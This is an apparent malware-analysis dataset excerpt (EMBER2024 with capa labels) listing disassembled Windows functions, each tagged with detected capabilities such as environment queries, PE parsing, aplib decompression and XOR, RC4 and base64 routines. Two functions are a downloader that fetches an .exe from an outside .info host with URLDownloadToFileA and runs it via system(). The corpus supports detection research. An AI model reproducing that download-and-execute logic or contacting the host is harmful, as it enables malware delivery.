joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002c0fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002c12c
xor eax, eax
jmp 0x14002c1ef
mov rbp, rbx
cmp word [rax], si
je 0x14002c151
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002c138
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002c134
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002a6fc
movsxd r14, eax
test eax, eax
jne 0x14002c18f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002c125
mov rcx, r14
call fcn.140023b38
mov rdi, rax
test rax, rax
jne 0x14002c1a8
xor ecx, ecx
call fcn.140023afc
jmp 0x14002c184
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002a6fc
test eax, eax
jne 0x14002c1d9
mov rcx, rdi
call fcn.140023afc
jmp 0x14002c1e3
xor ecx, ecx
call fcn.140023afc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002ee54
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400232f8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002eef5
cmp ebx, dword [rsp + 0x30]
je 0x14002eeee
test esi, esi
je 0x14002eeee
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14002eec9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002eed6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002eeb3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14002eeda
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002eef7
mov eax, 1
jmp 0x14002eef7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400325ec
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140019f78
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140032676
cmp byte [rbp - 0x21], r15b
je 0x140032671
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400326ac
call fcn.1400265a4
test eax, eax
jne 0x140032698
cmp byte [rbp - 0x21], r15b
je 0x140032690
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400326ac
cmp byte [rbp - 0x21], r15b
je 0x1400326a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14001f48c
test eax, eax
jne 0x14003274c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140019f78
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400326eb
cmp byte [rbp - 0x21], r15b
je 0x140032720
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140032720
call fcn.1400265a4
test eax, eax
jne 0x14003270c
cmp byte [rbp - 0x21], r15b
je 0x140032705
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140032720
cmp byte [rbp - 0x21], r15b
je 0x14003271d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14001f48c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14003274c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14003274f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14003275d
mov rcx, rdi
call fcn.140023afc
cmp byte [rbp + 0x3f], r15b
je 0x14003276c
mov rcx, qword [rbp + 0x27]
call fcn.140023afc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140034400
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034428
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140034428
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180a5d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.180a5d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180a5d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a5d06f
add dl, dl
jne 0x180a5d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a5d0f6
xor eax, eax
add dl, dl
jne 0x180a5d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180a5d1ad
add dl, dl
jne 0x180a5d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a5d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a5d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a5d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180a5d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180a5d07e
mov eax, 1
add dl, dl
jne 0x180a5d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180a5d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a5d0fb
sub eax, ebx
mov ebx, 1
jne 0x180a5d14c
mov ecx, 1
add dl, dl
jne 0x180a5d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180a5d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a5d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a5d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180a5d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180a5d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180a5d15d
cmp eax, 0x7d00
jae 0x180a5d19b
cmp eax, 0x500
jb 0x180a5d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a5d07e
cmp eax, 0x7f
ja 0x180a5d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180a5d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180a5d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180a5d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1401f42e0
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov r9, rcx
test rcx, rcx
je 0x1401f4350
movzx edx, byte [rcx]
xor eax, eax
test dl, dl
je 0x1401f4344
xor r8d, r8d
mov r11d, 0x100
mov ebx, 0x20
movsx eax, dl
mov r10d, r8d
add r9, 1
or eax, r11d
add r11d, 0x100
mov edx, eax
shr edx, 2
xor edx, eax
imul eax, eax
and edx, 0xf
mov ecx, edx
shl r10d, cl
mov ecx, ebx
sub ecx, edx
movzx edx, byte [r9]
shr r8, cl
or r10d, r8d
xor eax, r10d
mov r8d, eax
test dl, dl
jne 0x1401f4300
shr eax, 0x10
xor eax, r8d
pop rbx
ret
xor eax, eax
pop rbx
ret

Function at 0x1401f48e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rdi, rcx
test rcx, rcx
je 0x1401f4958
movsx ecx, byte [rcx]
xor eax, eax
test cl, cl
je 0x1401f4949
mov ebp, 0x100
xor ebx, ebx
mov esi, 0x20
nop dword [rax]
call fcn.1401aece0
mov r8d, ebx
add rdi, 1
or eax, ebp
add ebp, 0x100
mov edx, eax
shr edx, 2
xor edx, eax
imul eax, eax
and edx, 0xf
mov ecx, edx
shl r8d, cl
mov ecx, esi
sub ecx, edx
shr rbx, cl
movsx ecx, byte [rdi]
or r8d, ebx
xor eax, r8d
mov ebx, eax
test cl, cl
jne 0x1401f4908
shr eax, 0x10
xor eax, ebx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x1402b44b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov eax, dword [0x1407e1a20]
test eax, eax
je 0x1402b44e0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rbx, [0x1407e19c0]
mov r8d, 0x30
mov dword [0x1407e1a20], 1
lea rcx, [0x1406bef70]
mov rdx, rbx
call qword [0x140aee3cc]
sub eax, 1
cmp eax, 0x2e
ja 0x1402b46c0
movzx ebp, word [0x1407e19c0]
xor eax, eax
mov esi, 0xa
cmp bp, 0x7e
sete al
lea rbx, [rbx + rax*2]
cmp word [rbx], 0x30
je 0x1402b4720
xor r13d, r13d
mov edi, esi
jmp 0x1402b4550
sub r12d, 0x30
cmp esi, r12d
jbe 0x1402b457e
imul r13, rdi
add r13, r12
movzx r12d, word [rbx]
mov edx, 4
add rbx, 2
mov ecx, r12d
call fcn.1401aecc0
test eax, eax
jne 0x1402b4540
mov edx, 0x10
mov ecx, r12d
call fcn.1401aecc0
test eax, eax
jne 0x1402b4680
cmp bp, 0x7e
je 0x1402b46d8
movzx r15d, word [0x1407e19c0]
mov rbp, qword [0x140742c80]
cmp r15w, 0x3a
je 0x1402b4758
test r15w, r15w
je 0x1402b46b0
lea rax, [0x1407e19c0]
jmp 0x1402b45c6
add rax, 2
test r15w, r15w
je 0x1402b46b0
mov edx, r15d
movzx r15d, word [rax + 2]
cmp dx, 0x3a
jne 0x1402b45b8
xor edx, edx
cmp r15w, 0x7e
sete dl
lea rbx, [rax + rdx*2 + 2]
cmp word [rbx], 0x30
je 0x1402b4790
mov esi, 0xa
xor r14d, r14d
mov edi, esi
jmp 0x1402b4610
sub r12d, 0x30
cmp esi, r12d
jbe 0x1402b463a
imul r14, rdi
add r14, r12
movzx r12d, word [rbx]
mov edx, 4
add rbx, 2
mov ecx, r12d
call fcn.1401aecc0
test eax, eax
jne 0x1402b4600
mov edx, 0x10
mov ecx, r12d
call fcn.1401aecc0
test eax, eax
jne 0x1402b4698
movq xmm0, qword [0x1406bf0f8]
movq xmm2, r14
pxor xmm0, xmm2
cmp r15w, 0x7e
je 0x1402b4740
mov qword [rbp + 8], r14
mov eax, r13d
shr r13, 0x20
or ah, 4
movd xmm3, r13d
movd xmm0, eax
punpckldq xmm0, xmm3
movq qword [rbp], xmm0
jmp 0x1402b44ca
mov ecx, r12d
call fcn.1401aece0
lea r12d, [rax - 0x57]
jmp 0x1402b4544
mov ecx, r12d
call fcn.1401aece0
lea r12d, [rax - 0x57]
jmp 0x1402b4604
mov qword [rbp + 8], 0
jmp 0x1402b465a
mov rbp, qword [0x140742c80]
mov rcx, rbp
call fcn.1402744a0
mov r13, rax
jmp 0x1402b465a
mov rbp, qword [0x140742c80]
mov rcx, rbp
call fcn.1402744a0
mov r8, rax
mov rax, r13
not rax
and rax, r8
test r13d, 0x1000000
je 0x1402b4770
movabs r13, 0xedfff7fdffffffff
movzx r15d, word [0x1407e19c0]
and r13, rax
jmp 0x1402b45a2
movzx ecx, word [rbx + 2]
call fcn.1401aece0
cmp eax, 0x78
je 0x1402b4780
add rbx, 2
mov esi, 8
jmp 0x1402b4536
movq xmm1, qword [rbp + 8]
pand xmm1, xmm0
movq qword [rbp + 8], xmm1
jmp 0x1402b465a
mov rcx, rbp
call fcn.1402744a0
movzx r15d, word [0x1407e19c0]
mov r13, rax
jmp 0x1402b45a2
movzx r15d, word [0x1407e19c0]
mov r13, rax
jmp 0x1402b45a2
add rbx, 4
mov esi, 0x10
jmp 0x1402b4536
movzx ecx, word [rbx + 2]
call fcn.1401aece0
cmp eax, 0x78
je 0x1402b47ac
add rbx, 2
mov esi, 8
jmp 0x1402b45f2
add rbx, 4
mov esi, 0x10
jmp 0x1402b45f2
Function at 0x140305060
Capabilities:
Encode data using base64

Disassembly:
push r12
lea r11, [0x1406cf4a0]
mov r10, rdx
test rcx, rcx
je 0x140305080
test byte [rcx + 0x5c], 2
lea rax, [0x1406cf440]
cmovne r11, rax
xor r12d, r12d
test r9d, r9d
jg 0x1403050e5
jmp 0x140305125
movzx eax, byte [r8 + 1]
add r8, 3
shl eax, 8
or eax, edx
movzx edx, byte [r8 - 1]
mov ecx, eax
shr ecx, 0x12
or edx, eax
shr eax, 0xc
movzx ecx, byte [r11 + rcx]
and eax, 0x3f
mov byte [r10 - 4], cl
movzx eax, byte [r11 + rax]
mov byte [r10 - 3], al
mov eax, edx
and edx, 0x3f
shr eax, 6
and eax, 0x3f
movzx eax, byte [r11 + rax]
mov byte [r10 - 2], al
movzx eax, byte [r11 + rdx]
mov byte [r10 - 1], al
sub r9d, 3
je 0x140305125
movzx edx, byte [r8]
mov rcx, r10
add r12d, 4
add r10, 4
shl edx, 0x10
cmp r9d, 2
jg 0x140305090
je 0x140305130
mov eax, edx
shr edx, 0xc
shr eax, 0x12
and edx, 0x30
movzx eax, byte [r11 + rax]
mov byte [rcx], al
movzx eax, byte [r11 + rdx]
mov byte [rcx + 1], al
mov eax, 0x3d
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
mov eax, r12d
mov byte [r10], 0
pop r12
ret
movzx eax, byte [r8 + 1]
shl eax, 8
or eax, edx
shr edx, 0x12
movzx edx, byte [r11 + rdx]
mov byte [rcx], dl
mov edx, eax
shr eax, 6
shr edx, 0xc
and eax, 0x3c
and edx, 0x3f
movzx edx, byte [r11 + rdx]
mov byte [rcx + 1], dl
movzx eax, byte [r11 + rax]
jmp 0x14030511e
Function at 0x14041dd00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1407446e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14041dd20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14041dd28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14041dd20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14041dd75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14041dd6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14041dd20
add rax, 0x28
cmp rax, r9
jne 0x14041dd58
xor eax, eax
ret

Function at 0x14041dd80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1407446e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14041dda0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14041dda8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14041dda0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14041de30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1407446e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14041de50
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14041de58
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1405d2340
Capabilities:
Parse credit card information

Disassembly:
mov rax, qword [rcx + 0xb8]
cmp qword [rcx + 0xb0], rax
je 0x1405d2380
mov eax, dword [rcx + 0x88]
test eax, eax
je 0x1405d2368
cmp eax, 2
je 0x1405d2370
cmp eax, 1
je 0x1405d2378
ret
jmp fcn.1405d24e0
jmp fcn.1405d3500
jmp fcn.1405d2900
mov dword [rcx + 0x90], 0x1b
ret
Function at 0x401209
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40144d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1252234722
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x401214
Capabilities:
Download url
Execute command
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov eax, 0
mov dword [rbp - 4], eax
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
call fcn.004011be
mov qword [rbp - 0x10], rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x18], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x20], rax
movabs rax, 0x104
mov r11, rax
mov eax, 0x40
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_LocalAlloc
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
cmp rax, 0
je 0x4012c2
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x4012c2
jmp 0x4012cc
mov eax, 8
jmp 0x40144d
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.__temp___s.exe
mov r8, rax
movabs rax, 0x104
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
mov eax, 0x104
mov r8, rax
mov rax, qword [rbp - 0x20]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_ExpandEnvironmentStringsA
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea rax, str.ltiapmyzmjxrvrts.info
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 0x10]
mov r9, rax
lea rax, str.http:___s._s_v4__s.exe
mov r8, rax
movabs rax, pe_nt_image_headers64
mov r11, rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
mov rdx, r11
call section..text
movabs rax, 0
mov qword [rsp + 0x20], rax
mov eax, 0
mov r9, rax
mov rax, qword [rbp - 0x20]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
movabs rax, 0
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
mov r8, rax
mov rax, qword [rbp - 0x18]
mov r11, rax
lea rax, str._s_dowloaded._Result__ld_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov eax, 0x3e8
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_Sleep
mov rax, qword [rbp - 0x20]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.1252234722
mov r11, rax
lea rax, str.Random_string:__s_r_n
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x004020ab]
mov r11, rax
lea rax, str.db_s__executing...
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
movabs rax, 0
mov r10, rax
mov rcx, r10
call sub.snmpapi.dll_SnmpUtilVarBindFree
lea rax, str.Done._r_n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x140214c10
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x10088
call fcn.14023b980
sub rsp, rax
mov rax, qword [0x14027a0f0]
xor rax, rsp
mov qword [rsp + 0x10070], rax
xor eax, eax
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x70], ax
mov word [rsp + 0x20], ax
lea r8d, [rax + 0x28]
call fcn.1402362b0
mov r8d, 0x10000
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140214c8d
lea rcx, [rsp + 0x70]
call fcn.14024addc
mov rcx, qword [rsp + 0x10070]
xor rcx, rsp
call fcn.14023b950
add rsp, 0x10088
ret
xor eax, eax
mov rcx, qword [rsp + 0x10070]
xor rcx, rsp
call fcn.14023b950
add rsp, 0x10088
ret

Function at 0x140215170
Capabilities:
Set environment variable

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x80
mov rax, qword [0x14027a0f0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov r14, r8
mov rsi, rdx
mov rbp, rcx
call fcn.140226380
lea rdx, str.environ
mov rcx, rax
call qword [sym.imp.python310.dll_PyObject_GetAttrString]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.python310.dll_PyUnicode_FromString]
mov rdx, rsi
lea rcx, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov word [rsp + 0x20], ax
lea r8d, [rax + 0x28]
call fcn.1402362b0
lea rcx, [rsp + 0x20]
test r14, r14
je 0x140215233
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, 0xffffffffffffffff
mov rcx, r14
call sub.python310.dll_PyUnicode_FromWideChar
mov r8, rax
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.python310.dll_PyObject_SetItem]
test eax, eax
je 0x140215221
mov ecx, 1
call qword [sym.imp.python310.dll_PyErr_PrintEx]
mov ecx, 1
call qword [sym.imp.python310.dll_Py_Exit]
int3
sub qword [rsi], 1
jne 0x140215253
mov rax, qword [rsi + 8]
mov rcx, rsi
call qword [rax + 0x30]
jmp 0x140215253
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.python310.dll_PyObject_DelItem]
test eax, eax
je 0x140215253
mov rcx, rbp
call fcn.140001550
sub qword [rdi], 1
jne 0x140215263
mov rax, qword [rdi + 8]
mov rcx, rdi
call qword [rax + 0x30]
sub qword [rbx], 1
jne 0x140215273
mov rax, qword [rbx + 8]
mov rcx, rbx
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14023b950
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140236360
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, rcx
mov eax, 0xffffffff
test edx, edx
je 0x140236424
mov r9d, edx
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [r8]
lea r8, [r8 + 1]
xor eax, edx
mov edx, eax
and dl, 1
neg dl
sbb ecx, ecx
shr eax, 1
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
neg al
sbb edx, edx
shr ecx, 1
and edx, 0xedb88320
xor edx, ecx
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0xedb88320
xor ecx, edx
mov eax, ecx
and al, 1
